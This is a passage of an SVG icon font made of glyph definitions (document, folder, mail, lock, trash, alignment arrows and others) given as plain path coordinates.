<glyph glyph-name="document-file" unicode="&#xe888;" d="M379 842c4 4 13 8 17 8h417c33 0 62-29 62-62v-876c0-33-29-62-62-62h-625c-34 0-63 29-63 62v667c0 4 4 13 8 17l246 246z m-4-63l-179-179h158c13 0 21 8 21 21v158z m438 29h-396v-187c0-33-29-63-63-63h-187v-646c0-12 8-20 21-20h625c12 0 20 8 20 20v876c0 12-8 20-20 20z m-542-729c-13 0-21 9-21 21s8 21 21 21h458c13 0 21-8 21-21s-8-21-21-21h-458z m0-125c-13 0-21 8-21 21s8 21 21 21h458c13 0 21-9 21-21s-8-21-21-21h-458z m0 375c-13 0-21 9-21 21s8 21 21 21h458c13 0 21-8 21-21s-8-21-21-21h-458z m0-125c-13 0-21 9-21 21s8 21 21 21h458c13 0 21-8 21-21s-8-21-21-21h-458z m242 375c-13 0-21 9-21 21s8 21 21 21h216c13 0 21-8 21-21s-8-21-21-21h-216z m-242-125c-13 0-21 9-21 21s8 21 21 21h458c13 0 21-8 21-21s-8-21-21-21h-458z" horiz-adv-x="1000" />

<glyph glyph-name="folder-o" unicode="&#xe889;" d="M896-46h-792c-57 0-104 47-104 104v500c0 58 47 105 104 105h149c44 0 84-29 98-72l4-11c9-25 32-42 59-42h482c57 0 104-47 104-105v-375c0-57-47-104-104-104z m-792 667c-34 0-62-28-62-63v-500c0-34 28-62 62-62h792c34 0 62 28 62 62v375c0 35-28 63-62 63h-482c-45 0-84 29-99 71l-3 11c-9 26-33 43-59 43h-149z m834-125c-12 0-21 9-21 21v125c0 34-28 62-63 62h-708c-35 0-63-28-63-62 0-12-9-21-20-21s-21 9-21 21c0 57 46 104 104 104h708c58 0 104-47 104-104v-125c0-12-9-21-20-21z" horiz-adv-x="1000" />

<glyph glyph-name="hypster" unicode="&#xe88a;" d="M750 267c-129 0-177 68-194 109-19 48-17 105 3 151-46-12-71-12-118 0 21-46 23-103 3-151-17-41-65-109-194-109-164 0-208 91-208 146 0 7 0 15 1 25 2 23 4 59-7 72-3 3-7 6-16 7-10 0-18 8-20 17-1 10 4 19 13 23 5 2 113 43 237 43 78 0 142-17 188-29 25-7 48-13 62-13s37 6 62 13c47 12 110 29 188 29 124 0 232-41 237-43 9-4 14-13 13-23-2-9-10-17-20-17-9-1-13-4-15-7-12-13-10-49-8-72 1-10 1-18 1-25 0-55-43-146-208-146z m-133 275c-28-30-45-95-22-150 16-38 55-84 155-84 162 0 167 94 167 105 0 6-1 13-1 22-3 31-6 70 13 97-42 12-108 26-179 26-51 0-95-7-133-16z m-545-10c18-27 15-66 13-97-1-9-2-16-2-22 0-11 5-105 167-105 100 0 139 46 155 84 23 55 6 120-22 150-38 9-82 16-133 16-71 0-137-14-178-26z m491-119c-12 0-21 9-21 20 0 11-13 21-42 21s-42-10-42-21c0-11-9-20-20-20s-21 9-21 20c0 32 26 63 83 63s83-31 83-63c0-11-9-20-20-20z m-63-563c-276 0-500 224-500 500s224 500 500 500 500-224 500-500-224-500-500-500z m0 958c-253 0-458-205-458-458s205-458 458-458 458 205 458 458-205 458-458 458z m-229-416c-35 0-63 28-63 62s28 63 63 63 62-28 62-63-28-62-62-62z m0 83c-12 0-21-9-21-21s9-21 21-21 21 10 21 21-10 21-21 21z m458-83c-34 0-62 28-62 62s28 63 62 63 63-28 63-63-28-62-63-62z m0 83c-11 0-21-9-21-21s10-21 21-21 21 10 21 21-9 21-21 21z m-87-417c-40 0-163 0-163 84s62 83 92 83c14 0 31-5 54-12 49-15 122-37 228-30 10 1 18-5 21-14s0-18-8-24c-40-27-153-87-224-87z m-71 125c-38 0-50-3-50-41 0-35 66-42 121-42 34 0 86 19 133 42-72 4-126 20-162 31-18 6-34 10-42 10z m-213-125c-71 0-184 60-224 87-8 6-11 15-8 24s12 15 21 14c106-7 179 15 228 30 23 7 40 12 54 12 30 0 92 0 92-83s-122-84-163-84z m-133 84c47-23 99-42 133-42 56 0 121 7 121 42 0 38-12 41-50 41-8 0-24-4-42-10-36-11-90-27-162-31z" horiz-adv-x="1000" />

<glyph glyph-name="h-align-left" unicode="&#xe88b;" d="M83 821c30 0 55-24 55-54v-834c0-30-25-54-55-54s-54 24-54 54v834c0 30 24 54 54 54z m264-333c17 17 46 5 46-20l0-85 503 0 6 0c31-3 56-26 56-54l0-5c-3-28-30-49-62-49l-503 0 0-85c0-24-29-37-46-19l-137 139c-11 10-11 28 0 39l137 139z" horiz-adv-x="1000" />

<glyph glyph-name="h-align-right" unicode="&#xe88c;" d="M917 821c30 0 54-24 54-54v-834c0-30-24-54-54-54s-54 24-54 54v834c0 30 24 54 54 54z m-264-333l137-139c11-11 11-29 0-39l-137-139c-17-18-46-5-46 19l0 85-503 0c-32 0-59 22-62 49l0 5c0 29 24 51 56 54l6 0 503 0 0 85c0 25 29 37 46 20z" horiz-adv-x="1000" />

<glyph glyph-name="h-align-center" unicode="&#xe88d;" d="M500 821c30 0 54-24 54-54v-834c0-30-24-54-54-54s-54 24-54 54v834c0 30 24 54 54 54z m310-332l0-85 86 0c32 0 59-21 62-49l0-5c0-28-24-51-56-54l-6 0-86 0 0-85c0-24-30-37-47-19l-137 138c-11 11-11 29 0 40l137 138c17 18 47 5 47-19z m-575 22l3-3 137-138c10-10 11-25 3-36l-3-4-137-138c-16-17-43-7-47 15l0 4 0 85-86 0-6 0c-29 3-53 23-56 49l0 5 0 6c3 26 27 46 56 49l6 0 86 0 0 85c0 22 27 35 44 21l0 0z" horiz-adv-x="1000" />

<glyph glyph-name="h-align-stretch" unicode="&#xe88e;" d="M500 821c30 0 54-24 54-54v-834c0-30-24-54-54-54s-54 24-54 54v834c0 30 24 54 54 54z m310-310l3-3 137-138c10-10 11-25 3-36l-3-4-137-138c-16-17-43-7-47 15l0 4 0 85-86 0-6 0c-29 3-53 23-56 49l0 5 0 6c3 26 27 46 56 49l6 0 86 0 0 85c0 22 27 35 44 21z m-575-22l0-85 86 0c32 0 59-21 62-49l0-5c0-28-24-51-56-54l-6 0-86 0 0-85c0-24-30-37-47-19l-137 138c-11 11-11 29 0 40l137 138c17 18 47 5 47-19z" horiz-adv-x="1000" />

<glyph glyph-name="v-align-top" unicode="&#xe88f;" d="M480 641c11 11 29 11 40 0l138-138c18-17 5-46-19-46l-85 0 0-503 0-6c-3-31-26-56-54-56l-5 0c-28 3-49 30-49 62l0 503-85 0c-24 0-37 29-19 46l138 138z m437 180c30 0 54-24 54-54s-24-54-54-54h-834c-30 0-54 24-54 54s24 54 54 54h834z" horiz-adv-x="1000" />

<glyph glyph-name="v-align-bottom" unicode="&#xe890;" d="M917-13c30 0 54-24 54-54s-24-54-54-54h-834c-30 0-54 24-54 54s24 54 54 54h834z m-422 821l5 0c28 0 51-24 54-56l0-6 0-503 85 0c24 0 37-29 19-46l-138-137c-11-11-29-11-40 0l-138 137c-18 17-5 46 19 46l85 0 0 503c0 32 22 59 49 62l5 0-5 0z" horiz-adv-x="1000" />

<glyph glyph-name="v-align-middle" unicode="&#xe891;" d="M516 228l4-3 138-137c17-16 7-43-15-46l-4-1-85 0 0-86 0-5c-3-30-23-54-49-57l-5 0-6 0c-26 3-46 27-49 57l0 5 0 86-85 0c-23 0-35 27-22 44l3 3 139 137c10 10 25 11 36 3l0 0z m401 176c30 0 54-24 54-54s-24-54-54-54h-834c-30 0-54 24-54 54s24 54 54 54h834z m-417 404c28 0 51-24 54-56l0-6 0-86 85 0c24 0 37-30 19-47l-138-137c-11-11-29-11-40 0l-138 137c-18 17-5 47 19 47l85 0 0 86c0 30 19 56 44 61l5 1 5 0z" horiz-adv-x="1000" />

<glyph glyph-name="v-align-stretch" unicode="&#xe892;" d="M500 233c28 0 51-24 54-56l0-6 0-86 85 0c24 0 37-30 19-47l-138-137c-11-11-29-11-40 0l-138 137c-18 17-5 47 19 47l85 0 0 86c0 30 19 56 44 61l5 1 5 0z m417 171c30 0 54-24 54-54s-24-54-54-54h-834c-30 0-54 24-54 54s24 54 54 54h834z m-401 399l4-3 138-137c17-16 7-43-15-47l-4 0-85 0 0-86 0-6c-3-29-23-53-49-56l-5 0-6 0c-26 3-46 27-49 56l0 6 0 86-85 0c-23 0-35 26-22 44l3 3 139 137c10 10 25 11 36 3l0 0z" horiz-adv-x="1000" />

<glyph glyph-name="pro-icon" unicode="&#xe893;" d="M0 710c0 77 63 140 140 140l1434 0c78 0 140-63 140-140l0-720c0-77-63-140-140-140l-1434 0c-77 0-140 63-140 140l0 720z m262-576l65 0 0 170 117 0c88 0 138 62 138 135 0 74-49 136-138 136l-182 0 0-441z m254 305c0-46-34-77-80-77l-109 0 0 155 109 0c46 0 80-31 80-78z m381-305l75 0-110 177c55 7 107 49 107 128 0 82-56 136-138 136l-182 0 0-441 65 0 0 170 80 0 103-170z m6 305c0-46-34-77-81-77l-108 0 0 155 108 0c47 0 81-31 81-78z m128-85c0-131 88-228 217-228 129 0 218 97 218 228 0 131-89 228-218 228-129 0-217-97-217-228z m368 0c0-96-60-169-151-169-92 0-151 73-151 169 0 97 59 169 151 169 91 0 151-72 151-169z" horiz-adv-x="1714" />

<glyph glyph-name="mail" unicode="&#xe894;" d="M896 17h-792c-57 0-104 46-104 104v458c0 58 47 104 104 104h792c57 0 104-46 104-104v-458c0-58-47-104-104-104z m-792 625c-34 0-62-28-62-63v-458c0-35 28-63 62-63h792c34 0 62 28 62 63v458c0 35-28 63-62 63h-792z m396-334c-23 0-46 7-66 20l-342 234c-9 7-11 19-5 29s19 12 29 5l342-233c25-18 59-18 84 0l342 233c10 7 23 4 29-5 7-10 4-22-5-29l-342-234c-20-13-43-20-66-20z m-396-208c-6 0-12 3-16 8-7 8-6 22 3 29l250 208c9 8 22 6 29-2 8-9 6-22-2-30l-250-208c-4-3-9-5-14-5z m792 0c-5 0-10 2-13 5l-250 208c-9 8-10 21-3 30 7 8 20 10 29 2l250-208c9-7 10-21 3-29-4-5-10-8-16-8z" horiz-adv-x="1000" />

<glyph glyph-name="lock-user" unicode="&#xe895;" d="M459 767c4 0 8 1 12 4 46 33 96 37 139 37 58 0 100-18 123-53 27-42 15-64 2-78l-20-21c-4-3-6-8-7-13l-5-105c0-5 2-11 6-15s9-6 15-6c6 0 11-3 15-8 4-4 6-10 5-16l-10-83c-1-10-10-18-23-18-10 0-19-8-20-18-4-23-21-54-22-55-5-10-2-22 8-28 10-6 23-2 29 8 0 1 14 27 22 53 25 6 44 27 47 53l11 83c2 18-4 35-15 49-7 8-16 14-25 17l4 79 15 15c24 25 43 68 2 130-31 48-84 72-157 72-29 0-96 0-158-42-178-3-202-86-202-166 0-19 5-61 8-87-11-3-21-9-28-18-12-13-18-31-16-49l11-83c3-27 24-49 50-54 9-57 36-113 77-155l-15-58-160-40c-104-26-177-120-177-227 0-6 2-11 6-15 4-4 9-6 15-6l542 1c11 0 20 9 20 21 0 11-9 20-20 20 0 0 0 0 0 0l-520 0c8 79 66 146 145 166l171 43c8 1 14 7 15 15l21 81c2 8-1 16-6 21-42 39-70 97-75 154 0 11-10 20-20 20h-7c-11 0-20 7-21 18l-10 83c-1 6 1 12 5 17 4 4 9 7 15 7h5c6 0 11 2 15 7 4 4 6 10 5 16-2 21-9 81-9 102 0 65 13 123 167 125z m520-624h-21v20c0 81-65 146-145 146s-146-65-146-146v-20h-21c-12 0-21-10-21-21v-250c0-12 9-21 21-21h333c12 0 21 9 21 21v250c0 11-9 21-21 21z m-271 20c0 58 47 105 105 105s104-47 104-105v-20h-209v20z m250-271h-291v209h291v-209z m-166 90v-27c0-12 9-21 21-21s20 9 20 21v27c13 7 21 20 21 36 0 23-18 41-41 41s-42-18-42-41c0-16 8-29 21-36z" horiz-adv-x="1000" />

<glyph glyph-name="testimonial-carousel" unicode="&#xe896;" d="M25 450c-8-12-8-21 0-33l83-84c13-8 21-8 34 0 8 9 8 21 0 34l-71 66 71 67c8 8 8 21 0 33-9 9-21 9-34 0l-83-83m950-33c8 8 8 21 0 33l-83 83c-9 9-21 9-34 0-8-12-8-20 0-33l67-67-67-66c-8-13-8-21 0-34 13-8 21-8 34 0l83 84m-229 179c-17 17-38 25-63 25h-366c-25 0-46-8-63-25-16-21-25-42-25-63v-225c0-25 9-45 29-66 17-17 38-25 63-25h33l-54-104c-4-9-4-17 4-25 9-9 17-9 25 0l175 129h175c25 0 46 8 63 25 16 16 25 41 25 66v225c4 21-4 42-21 63m-29-29c8-9 12-21 12-34v-225c0-12-4-25-12-33-9-8-21-17-34-17h-183l-12-4-109-83 25 54c4 8 4 13 0 21s-8 8-16 8h-71c-13 0-25 4-34 17-8 8-16 21-16 33v229c0 13 4 25 16 34 9 8 21 12 34 12h366c13 0 21-4 34-12z" horiz-adv-x="1000" />

<glyph glyph-name="media-carousel" unicode="&#xe897;" d="M500 121c-12 0-21-8-21-21 0-12 9-21 21-21 13 0 21 9 21 21 0 13-8 21-21 21m83 0c-12 0-20-8-20-21 0-12 8-21 20-21 13 0 21 9 21 21 0 13-8 21-21 21m-187-21c0-12 8-21 21-21 12 0 21 9 21 21 0 13-9 21-21 21-13 0-21-8-21-21m-279 475l-84-42c-12-4-16-16-8-25 4-12 17-16 25-8l54 25v-262l-54 25c-12 8-21 4-25-9-8-12-4-21 8-25l84-41 8-9 8 4c9 5 13 9 9 17v333c0 9-4 13-9 17-4 4-12 4-16 0m696 25c0 13-9 21-21 21h-584c-12 0-20-8-20-21v-417c0-12 8-20 20-20h584c12 0 21 8 21 20v417m-42-396h-542v375h542v-375m-308 279l-5 0c-8 0-12-4-12-8v-171l0-4c4-4 12-8 17-4l133 83 4 4c4 5 0 13-4 17l-133 83m433 38l50-25c12-8 21-4 25 8 8 13 4 21-8 25l-84 42c-8 4-12 4-21 0-4-4-8-8-8-17v-333c0-8 4-17 8-17l13-4 8 4 84 42c12 4 16 12 8 25-4 12-17 17-25 8l-50-25v267z" horiz-adv-x="1000" />

<glyph glyph-name="section" unicode="&#xe898;" d="M58 783c-16-16-20-37-20-62v-742c0-25 8-46 25-62s37-25 62-25h750c25 0 46 8 63 25 16 16 25 37 25 62v742c0 25-9 46-25 62-21 17-42 25-63 25h-750c-29 5-50-8-67-25m67-154h733v-275h-733v275m738-366v-276h-738v276h738z" horiz-adv-x="1000" />

<glyph glyph-name="column" unicode="&#xe899;" d="M958 721c0 25-8 46-25 62-16 17-37 25-62 25h-746c-21 0-42-8-58-25-17-16-25-37-25-62v-746c0-25 8-42 25-58 16-17 37-25 58-25h746c25 0 46 8 62 25 17 16 25 37 25 58v746m-825-96h321v-642h-321v642m413-642v642h317v-642h-317z" horiz-adv-x="1000" />

<glyph glyph-name="edit" unicode="&#xe89a;" d="M725 526l-196 197 67 67c55 53 109 83 155 38l79-80c53-52 15-101-38-155z m-256 137l196-196-459-459h-193l0 196z m-434-813a35 35 0 0 0 0 70h792a35 35 0 0 0 0-70z" horiz-adv-x="862" />

<glyph glyph-name="clone" unicode="&#xe89b;" d="M288 563c-17-13-25-30-25-55v-558c0-21 8-38 20-54 13-17 34-25 55-25h558c21 0 37 8 54 25s21 33 21 54v558c0 21-8 42-21 55-17 16-33 25-54 25h-554c-25 0-42-9-54-25m-163 145c0 13 4 17 17 17h504c17 0 21-4 21-17v-37c0-13 4-25 16-33 9-9 21-13 34-13s25 4 33 13c8 8 17 20 17 33v37c0 34-13 59-34 84-25 21-50 33-83 33h-508c-34 0-59-12-84-33-20-25-33-54-33-84v-504c0-33 13-58 33-83 25-21 50-33 84-33h37c13 0 25 4 34 16 8 9 16 21 16 34 0 12-4 25-16 33-9 8-21 12-34 12h-37c-13 0-17 5-17 21v504z" horiz-adv-x="1000" />

<glyph glyph-name="trash" unicode="&#xe89c;" d="M212 782h-191a21 21 0 0 1-21-21h0v-52a21 21 0 0 1 21-20h763a21 21 0 0 1 21 21v51a21 21 0 0 1-21 21h-191l-13 52a21 21 0 0 1-21 16h-314a21 21 0 0 1-21-16z m-148-178h678a21 21 0 0 0 21-21v-606h0a127 127 0 0 0-127-127h-466a127 127 0 0 0-128 127v607a21 21 0 0 0 22 20z" horiz-adv-x="805" />

<glyph glyph-name="play" unicode="&#xe89d;" d="M838 688c-92 91-205 137-338 137-129 0-242-46-337-137-92-92-138-205-138-338 0-133 46-246 138-337 91-92 204-142 337-142 133 0 246 46 338 142 91 91 137 204 137 337 0 133-46 246-137 338m-30-30c84-87 125-187 125-308 0-121-41-225-125-308-83-84-187-130-308-130-121 0-221 42-304 130-83 83-129 187-129 308 0 121 41 221 129 308 83 84 187 130 304 130 121 0 221-46 308-130m-370-200v-250l204 125-204 125z" horiz-adv-x="1000" />

<glyph glyph-name="angle-right" unicode="&#xe89e;" d="M417 600l-59-58 192-192-192-192 59-58 250 250-250 250z" horiz-adv-x="1000" />

<glyph glyph-name="angle-left" unicode="&#xe89f;" d="M642 541l-59 59-250-250 250-250 59 59-191 191z" horiz-adv-x="1000" />

<glyph glyph-name="animated-headline" unicode="&#xe8a0;" d="M246 613c-8 16-38 16-42 0l-137-367c-4-13 0-25 12-29 13-4 25 0 29 12l46 121c0 0 0 0 0 0h138c0 0 0 0 0 0l46-121c4-8 12-16 20-16 5 0 5 0 9 0 12 4 16 16 12 29l-133 371z m-75-213l54 142 54-142h-108z m646 92c37 0 66-29 66-67 0-12 9-21 21-21 13 0 21 9 21 21 0 63-50 113-112 113-63 0-113-50-113-113v-92c0-62 50-112 113-112 62 0 112 50 112 112 0 13-8 21-21 21-12 0-21-8-21-21 0-37-29-66-66-66s-67 29-67 66v92c-4 33 29 67 67 67z m-275 46c-25 0-50-9-67-25v91c0 13-8 21-21 21-12 0-21-8-21-21v-183-21-46-21-91c0-13 9-21 21-21 13 0 21 8 21 21v0c21-13 42-25 67-25 62 0 112 50 112 112v92c4 67-50 117-112 117z m71-205c0-37-30-66-67-66s-67 29-67 66v21 46 21c0 37 29 67 67 67s67-30 67-67v-88z m-550-250c366 55 633 71 808 46 54-8 75-25 42-46" horiz-adv-x="1000" />

<glyph glyph-name="menu-toggle" unicode="&#xe8a1;" d="M250 475h500c13 0 21 8 21 21s-8 21-21 21h-500c-12 0-21-9-21-21s9-21 21-21z m0-167h500c13 0 21 9 21 21s-8 21-21 21h-500c-12 0-21-8-21-21s9-21 21-21z m0-166h500c13 0 21 8 21 21s-8 20-21 20h-500c-12 0-21-8-21-20s9-21 21-21z m667-142v700c0 38-25 67-54 67h-725c-30 0-55-29-55-67v-700c0-38 25-67 55-67h720c34 0 59 29 59 67z m41 0c0-58-41-108-95-108h-725c-55 0-96 50-96 108v700c0 58 41 108 96 108h720c59 0 100-50 100-108v-700z" horiz-adv-x="1000" />

<glyph glyph-name="fb-embed" unicode="&#xe8a2;" d="M696 150c-8 8-21 8-29 0l-79-83c-9-9-9-21 0-29l79-84c4-4 8-4 12-4 4 0 9 0 13 4 8 8 8 21 0 29l-63 67 63 67c12 12 12 25 4 33z m192 0c8 8 20 8 29 0l79-83c8-9 8-21 0-29l-79-84c-4-4-9-4-13-4-4 0-8 0-12 4-9 8-9 21 0 29l62 67-62 67c-13 12-13 25-4 33z m-71 71l-67-275c-4-13 4-21 17-25 12-4 21 4 25 16l66 280c5 12-4 21-16 25s-25-9-25-21z m-338-234h-391c-25 0-50 26-50 59v633c0 34 20 59 50 59h654c25 0 50-25 50-59v-337c0-13 8-21 21-21s20 8 20 21v337c0 54-37 100-91 100h-654c-50 0-88-46-88-100v-633c0-54 38-100 92-100h387c13 0 21 8 21 21s-8 20-21 20z m42 584c-96 0-146-50-146-150v-246c0-12 8-21 21-21s21 9 21 21v246c0 75 33 108 104 108 12 0 21 9 21 21s-9 21-21 21z m-221-208h217c12 0 21 8 21 20s-9 21-21 21h-217c-12 0-21-8-21-21s9-20 21-20z" horiz-adv-x="1000" />

<glyph glyph-name="fb-feed" unicode="&#xe8a3;" d="M63 371c-13 0-21 8-21 21v416c0 13 8 21 21 21h875c12 0 20-8 20-21v-416c0-13-8-21-20-21h-875z m854 42v375h-834v-375h834z m-854-167h875c12 0 20 8 20 21s-8 21-20 21h-875c-13 0-21-9-21-21s8-21 21-21z m0-125h583c12 0 21 8 21 21s-9 21-21 21h-583c-13 0-21-9-21-21s8-21 21-21z m0-125h583c12 0 21 8 21 21s-9 21-21 21h-583c-13 0-21-9-21-21s8-21 21-21z m0-125h583c12 0 21 8 21 21s-9 20-21 20h-583c-13 0-21-8-21-20s8-21 21-21z m833 292c-67 0-104-38-104-105v-166c0-13 8-21 21-21s20 8 20 21v166c0 46 17 63 63 63 12 0 21 8 21 21s-9 21-21 21z m-146-167h146c12 0 21 8 21 21s-9 21-21 21h-146c-12 0-21-9-21-21s9-21 21-21z" horiz-adv-x="1000" />

<glyph glyph-name="twitter-embed" unicode="&#xe8a4;" d="M696 150c-8 8-21 8-29 0l-79-83c-9-9-9-21 0-29l79-84c4-4 8-4 12-4 4 0 9 0 13 4 8 8 8 21 0 29l-63 67 63 67c12 12 12 25 4 33z m192 0c8 8 20 8 29 0l79-83c8-9 8-21 0-29l-79-84c-4-4-9-4-13-4-4 0-8 0-12 4-9 8-9 21 0 29l62 67-62 67c-13 12-13 25-4 33z m-71 71l-67-275c-4-13 4-21 17-25 12-4 21 4 25 16l66 280c5 12-4 21-16 25s-25-9-25-21z m-546 192c12-9 8-30-4-34-4 0-13 0-21 0 12-21 29-37 46-41 16 0 21-21 12-34-4-4-12-8-21-12 13-13 30-17 50-21 17 0 25-21 13-33-17-17-38-30-63-38 146-42 284 88 267 233 0 9 4 13 8 17-16 13-20 25-16 33-4 0-9 5-13 5-25 25-54 29-83 8-21-13-29-50-25-71 4-12-8-25-21-21-62 4-117 29-154 71-4-25 8-54 25-62z m-50 112c4 8 21 13 29 0 33-46 75-75 133-83 0 33 17 71 46 87 42 25 84 25 121-8 13 4 29 12 33 17 13 12 34-5 30-21 0-4-5-9-5-13 13 0 21-16 13-29-8-12-21-29-38-42 13-191-191-354-387-233-17 13-8 38 12 33 25-4 50 0 71 13-25 12-46 33-54 58-4 9 0 17 8 21-20 21-33 46-33 79 0 9 4 17 13 17-9 33-9 71 8 104z m258-538h-391c-25 0-50 26-50 59v633c0 34 20 59 50 59h654c25 0 50-25 50-59v-337c0-13 8-21 21-21s20 8 20 21v337c0 54-37 100-91 100h-654c-50 0-88-46-88-100v-633c0-54 38-100 92-100h387c13 0 21 8 21 21s-8 20-21 20z" horiz-adv-x="1000" />

<glyph glyph-name="twitter-feed" unicode="&#xe8a5;" d="M63 371c-13 0-21 8-21 21v416c0 13 8 21 21 21h875c12 0 20-8 20-21v-416c0-13-8-21-20-21h-875z m854 42v375h-834v-375h834z m-854-167h875c12 0 20 8 20 21s-8 21-20 21h-875c-13 0-21-9-21-21s8-21 21-21z m0-125h458c12 0 21 8 21 21s-9 21-21 21h-458c-13 0-21-9-21-21s8-21 21-21z m0-125h458c12 0 21 8 21 21s-9 21-21 21h-458c-13 0-21-9-21-21s8-21 21-21z m0-125h458c12 0 21 8 21 21s-9 20-21 20h-458c-13 0-21-8-21-20s8-21 21-21z m583 279c25-33 71-67 133-71-4 17 0 54 25 71 29 17 59 17 88-8 12 0 37 12 41 16-4-12-16-33-29-37 9 0 29 4 38 8-9-16-25-29-34-33 13-117-120-275-287-175 37-4 75 8 96 29-29 0-54 17-67 46 13-4 29-4 38 4-13 0-55 25-55 71 9-8 21-13 34-8-17 8-42 45-21 87l0 0z" horiz-adv-x="1000" />

<glyph glyph-name="sync" unicode="&#xe8a6;" d="M500 141c49-1 94 15 136 49 59 48 82 126 61 229-4 23 13 44 36 47s40-14 47-36c33-110-8-237-92-305-57-46-120-68-188-67v-105c0-6-2-10-5-14-4-4-8-7-13-7s-9 3-13 7l-130 146c-4 4-5 9-5 14s1 11 5 15l130 146c4 4 8 6 13 6s9-2 13-6c3-5 5-10 5-15v-104z m0 417c-49 1-94-15-136-49-59-48-82-126-61-229 5-22-13-44-36-47s-40 14-47 36c-33 111 8 237 92 305 57 46 120 69 188 68v104c0 6 2 10 5 14s8 7 13 7 10-2 13-7l130-145c4-5 5-10 5-15s-1-10-5-15l-130-145c-3-5-8-7-13-7s-9 2-13 7-5 8-5 14v104z" horiz-adv-x="1000" />

<glyph glyph-name="import-export" unicode="&#xe8a7;" d="M417 600v-345c0-17-19-30-42-30s-42 13-42 30v345h-104c-6 0-10 2-14 5-5 4-7 8-7 13 0 5 2 10 7 13l145 130c5 4 10 5 15 5s10-1 15-5l145-130c5-3 7-8 7-13 0-5-2-9-7-13-4-3-9-5-14-5h-104z m208-500v345c0 17 19 30 42 30s41-13 41-30v-345h105c5 0 10-2 14-5s6-8 6-13-2-9-6-13l-146-130c-4-4-9-5-14-5s-11 1-15 5l-146 130c-4 4-6 8-6 13s2 9 6 13 9 5 15 5h104z" horiz-adv-x="1000" />

<glyph glyph-name="check-circle" unicode="&#xe8a8;" d="M496 804c-250 0-454-204-454-458s204-454 454-454 454 204 454 454-200 458-454 458m0-954c-271 0-496 225-496 496s225 500 496 500 496-225 496-496-221-500-496-500m-79 288l-217 216c-8 9-8 21 0 29 8 9 25 9 33 0l200-200 330 330c8 8 20 8 29 0 8-9 8-21 0-30l-346-345c-4-5-8-9-17-9s-8 4-12 9z" horiz-adv-x="1000" />

<glyph glyph-name="library-save" unicode="&#xe8a9;" d="M331 267h338c21 0 39-18 39-40v-337c0-22-17-40-39-40h-338c-21 0-39 17-39 40v337c0 22 17 40 39 40z m2-42v-333h334v333h-334z m73-95c0 11 9 20 21 20s21-9 21-20v-143c0-12-9-21-21-21s-21 9-21 21v143z m91-21c-12 0-21 9-21 21 0 11 9 20 21 20h86c12 0 21-9 21-20 0-12-9-21-21-21h-86z m0-71c-12 0-21 9-21 20s9 21 21 21h86c12 0 21-9 21-21s-9-20-21-20h-86z m0-72c-12 0-21 9-21 21 0 12 9 21 21 21h86c12 0 21-9 21-21 0-12-9-21-21-21h-86z m-455 778c0 1 0 1 0 2 0 57 47 104 105 104h706c58 0 105-47 105-104v-129c26-20 42-52 42-87v-384c0-61-47-109-106-109h-120c-12 0-21 9-21 21s9 20 21 20h120c35 0 64 30 64 68v384c0 38-29 68-64 68h-501c-45 0-85 29-100 72l-3 3-2 6c-9 28-34 46-62 46h-120c-35 0-64-30-64-67v-512c0-38 29-68 64-68h120c12 0 21-9 21-20s-9-21-21-21h-120c-58 0-106 48-106 109v512c0 35 16 66 42 86z m44 21c7 1 14 2 20 2h120c44 0 84-29 100-72l2-3 4-7c8-27 33-46 61-46h501c8 0 16-1 23-2v109c0 34-29 62-64 62h-706c-29 0-53-18-61-43z" horiz-adv-x="1000" />

<glyph glyph-name="library-download" unicode="&#xe8aa;" d="M479 25v138c0 11 9 20 21 20s21-9 21-20v-138l27 28c8 8 21 8 30 0s8-22 0-30l-63-63c-8-8-21-8-30 0l-62 63c-8 8-8 21 0 30 8 8 21 8 30 0l26-28z m-146 33c0-92 75-166 167-166s167 74 167 166-75 167-167 167-167-75-167-167z m-291 686c0 1 0 1 0 2 0 57 47 104 105 104h706c58 0 105-47 105-104v-129c26-20 42-52 42-87v-384c0-61-47-109-106-109h-120c-12 0-21 9-21 21s9 20 21 20h120c35 0 64 30 64 68v384c0 38-29 68-64 68h-501c-45 0-85 29-100 72l-3 3-2 6c-9 28-34 46-62 46h-120c-35 0-64-30-64-67v-512c0-38 29-68 64-68h120c12 0 21-9 21-20s-9-21-21-21h-120c-58 0-106 48-106 109v512c0 35 16 66 42 86z m44 21c7 1 14 2 20 2h120c44 0 84-29 100-72l2-3 4-7c8-27 33-46 61-46h501c8 0 16-1 23-2v109c0 34-29 62-64 62h-706c-29 0-53-18-61-43z m206-707c0 115 93 209 208 209s208-94 208-209-93-208-208-208-208 93-208 208z" horiz-adv-x="1000" />

<glyph glyph-name="insert" unicode="&#xe8ab;" d="M375 433h-127c-11 0-20-3-28-10-8-8-12-16-12-26 0-10 4-19 12-26l273-259c8-8 17-11 28-11s19 4 27 11l274 259c8 7 11 16 11 26 0 10-3 18-11 26-8 7-17 10-28 10h-127v292c0 23-19 42-42 42h-208c-23 0-42-19-42-42l0 0v-292z m-122-500c-25 0-45 19-45 42s20 42 45 42h536c24 0 44-19 44-42s-20-42-44-42h-536z" horiz-adv-x="1000" />

<glyph glyph-name="preview-medium" unicode="&#xe8ac;" d="M893 347c-52 81-117 141-195 181 21-36 31-74 31-115 0-63-22-118-67-163-45-44-99-67-162-67s-117 23-162 67c-45 45-67 100-67 163 0 41 10 79 31 115-78-40-143-100-195-181 46-70 102-125 171-167s142-62 222-62 153 21 222 62 126 97 171 167z m-368 196c0 7-3 13-7 18-5 4-11 7-18 7-42 0-79-15-110-46-30-30-45-67-45-109 0-7 2-13 7-18 4-5 10-7 17-7 7 0 13 2 18 7 4 5 7 10 7 18 0 29 10 54 31 75s46 31 75 31c7 0 13 2 18 7 4 5 7 11 7 17z m433-196c0-12-3-23-10-35-48-79-112-142-193-189-80-47-165-70-255-70s-175 23-255 71c-81 47-145 110-193 188-7 12-10 24-10 36s3 23 10 35c48 78 112 141 193 188s165 71 255 71 175-24 255-72 145-110 193-188c7-12 10-23 10-35z" horiz-adv-x="1000" />

<glyph glyph-name="sort-down" unicode="&#xe8ad;" d="M208 480c0-10 4-19 12-26l273-259c8-8 17-11 28-11s19 4 27 11l274 259c8 7 11 16 11 26 0 10-3 18-11 25-8 8-17 11-28 11h-546c-11 0-20-3-28-11-8-7-12-15-12-25z" horiz-adv-x="1000" />

<glyph glyph-name="sort-up" unicode="&#xe8ae;" d="M208 220c0 10 4 19 12 26l273 259c8 8 17 11 28 11s19-3 27-11l274-259c8-7 11-16 11-26 0-10-3-18-11-25-8-8-17-11-28-11h-546c-11 0-20 4-28 11-8 7-12 15-12 25z" horiz-adv-x="1000" />

